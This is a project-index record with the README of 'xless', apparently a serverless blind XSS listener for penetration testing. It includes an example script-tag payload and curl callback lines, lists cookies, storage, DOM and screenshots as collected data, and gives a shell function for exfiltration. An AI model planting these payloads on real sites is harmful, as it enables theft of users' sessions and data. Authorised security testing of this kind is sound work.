{"id":13762823,"url":"https://github.com/mazen160/xless","last_synced_at":"2025-05-16T01:07:47.974Z","repository":{"id":51021210,"uuid":"168219495","full_name":"mazen160/xless","owner":"mazen160","description":"The Serverless Blind XSS App","archived":false,"fork":false,"pushed_at":"2025-05-14T05:38:38.000Z","size":89,"stargazers_count":340,"open_issues_count":3,"forks_count":130,"subscribers_count":7,"default_branch":"master","last_synced_at":"2025-05-14T06:44:04.740Z","etag":null,"topics":["blind-xss","browser-exploitation","exfiltration","out-of-band","serverless","xss"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mazen160.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-01-29T20:00:52.000Z","updated_at":"2025-05-14T05:21:39.000Z","dependencies_parsed_at":"2024-01-15T03:59:39.689Z","dependency_job_id":"39623ab0-13e8-4632-9eab-b7c96af33c00","html_url":"https://github.com/mazen160/xless","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mazen160%2Fxless","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mazen160%2Fxless/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mazen160%2Fxless/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mazen160%2Fxless/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mazen160","download_url":"https://codeload.github.com/mazen160/xless/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254448578,"owners_count":22072764,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["blind-xss","browser-exploitation","exfiltration","out-of-band","serverless","xss"],"created_at":"2024-08-03T14:00:58.530Z","updated_at":"2025-05-16T01:07:42.967Z","avatar_url":"https://github.com/mazen160.png","language":"JavaScript","funding_links":[],"categories":["JavaScript","Weapons"],"sub_categories":["Tools"],"readme":"\u003ch1 align=\"center\"\u003e\n  \u003cbr\u003e\n  \u003ca href=\"https://github.com/mazen160/xless\"\u003e\u003cimg src=\"https://user-images.githubusercontent.com/29874489/58731472-4f6c8080-83de-11e9-8206-992f4d777fdc.png\" alt=\"Xless\"\u003e\u003c/a\u003e\n  \u003cbr\u003e\n  xless\n  \u003cbr\u003e\n\u003c/h1\u003e\n\n\u003ch4 align=\"center\"\u003eThe Serverless Blind XSS App\u003c/h4\u003e\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"https://img.shields.io/maintenance/yes/2021.svg?style=flat-square\" alt=\"Maintained\" /\u003e\n  \u003cimg src=\"https://img.shields.io/bitbucket/issues-raw/mazen160/xless.svg?style=flat-square\" alt=\"Issues\" /\u003e\n  \u003cimg src=\"https://img.shields.io/github/last-commit/mazen160/xless.svg?style=flat-square\" alt=\"Last Commit\" /\u003e\n\u003c/p\u003e\n\n## :information_source: About The Project\n**Xless** is a serverless Blind XSS (bXSS) application that can be used to identify Blind XSS vulnerabilities using your own deployed version of the application.\nThere is no need to run a full deployment process; just setup a [vercel.com](https://vercel.com/) account and run `bash deploy.sh`.\nThat's it. You now have a fully-running Blind XSS listener that uses Slack to notify you for callbacks.\n\n## :warning: Requirements\n* [vercel.com](https://vercel.com/) account: Vercel provides a **free plan** for serverless. If you use another provider for serverless, code changes should be minimal.\n* Slack Incoming Webhook URL.\n* IMGBB (free) Account and API key - for the screenshots.\n\n\n## :rocket: Deployment\n1. Run `bash deploy.sh`\n\n```bash\n$ bash deploy.sh\n\n\u003e Deploying ~/xless under X\n\u003e https://custom-xless-deployment.vercel.app [v2] [in clipboard] [4s]\n\u003e Success! Deployment ready [4s]\n```\n2. Use the URL for blind XSS testing :fire:\n\n**Xless will automatically serve the XSS payload, collect information, and exfiltrate it into your serverless app, which is then sent right to you in Slack.**\n\n\n## :speech_balloon: Example Payload\n\n```html\n\u003cscript src=\"https://custom-xless-deployment.vercel.app\"\u003e\u003c/script\u003e\n```\n\n\n## :eyes: Demo\n![Demo](https://raw.githubusercontent.com/mazen160/public/master/static/images/xless-screenshot.png)\n\n\n## :incoming_envelope: Collected Data\n\n* Cookies\n* User-Agent\n* HTTP Referrer\n* Browser DOM\n* Browser Time\n* Document Location\n* Origin\n* LocalStorage\n* SessionStorage\n* IP Address\n* Screenshot\n\n## :satellite: Out-of-Band (OOB) Callbacks Listener\n\nXless also works as an OOB (Out-of-Band) callbacks listener for HTTP/HTTPS requests. Any HTTP GET request that is sent to non-parent path will be alerted.\n\n## :eyes: Demo\n\n```bash\n$ curl https://custom-xless-deployment.vercel.app/callback-canary\n```\n\n![OOB CallBack Listener Demo](https://raw.githubusercontent.com/mazen160/public/master/static/images/xless-screenshot-oob-callback-example.png)\n\nOr anything random, such as:\n\n```bash\n$ curl https://custom-xless-deployment.vercel.app/88bf0ecd\n```\n\n\n## :man_health_worker: Health Check\nXless provides a `/health` endpoint to let you know that everything is configured correctly.\nThe current tests are the existance of the API keys and a successful image upload to IMGBB.\n\n##  Example Blind XSS payloads\n\nYou can view a number of handy XSS payloads for your xless app at `$URL/examples`\n* URL: `https://custom-xless-deployment.vercel.app/examples`\nOnce you deploy your app, you can find the examples there.\n\n## :envelope_with_arrow: Scriptable Messages\n\nYou can use Xless to send direct messages to your listener. It can be useful in data exfiltration or as a scriptable way to send messages and alerts to your Slack app.\n\n```shell\n# on your (bashrc / zshrch) file:\nfunction xless() {\n  curl -s https://custom-xless-deployment.vercel.app/message --data \"text=$1\"\n}\n```\n\n\n## Contribution\nContribution is very welcome. Please share your ideas by Github issues and pull requests.\n\nHere are some ideas to start with:\n1. ~~Enabling sharing of page screenshot~~.\n2. ~~Scriptable message~~.\n3. _Your idea of a new feature_?\n\n\n## Acknowledgement\n\n* [Matthew Bryant](https://github.com/mandatoryprogrammer) for the XSS Hunter project.\n* [Rami Ahmed](https://twitter.com/rami_ahmad) for the \"xless\" name idea.\n* [Damian Ebelties](https://twitter.com/DamianEbelties) for the logo.\n* [Rotem Reiss](https://twitter.com/2rs3c) for the screenshot feature.\n* [Vercel.com](https://vercel.com/) for operating a great serverless platform.\n\n## Awesome Similar Projects\n\n* [Azure-xless](https://github.com/dgoumans/Azure-xless): An Xless implementation for Microsoft Azure Function by [Daan Goumans](https://twitter.com/daangoumans).\n\n\n## Legal Disclaimer\nThis project is made for educational and ethical testing purposes only. Usage of xless for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n\n\n## License\nThe project is currently licensed under MIT License.\n\n## Author\n*Mazin Ahmed*\n* Website: [https://mazinahmed.net](https://mazinahmed.net)\n* Email: mazin [at] mazinahmed [dot] net\n* Twitter: [https://twitter.com/mazen160](https://twitter.com/mazen160)\n* Linkedin: [http://linkedin.com/in/infosecmazinahmed](http://linkedin.com/in/infosecmazinahmed)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmazen160%2Fxless","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmazen160%2Fxless","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmazen160%2Fxless/lists"}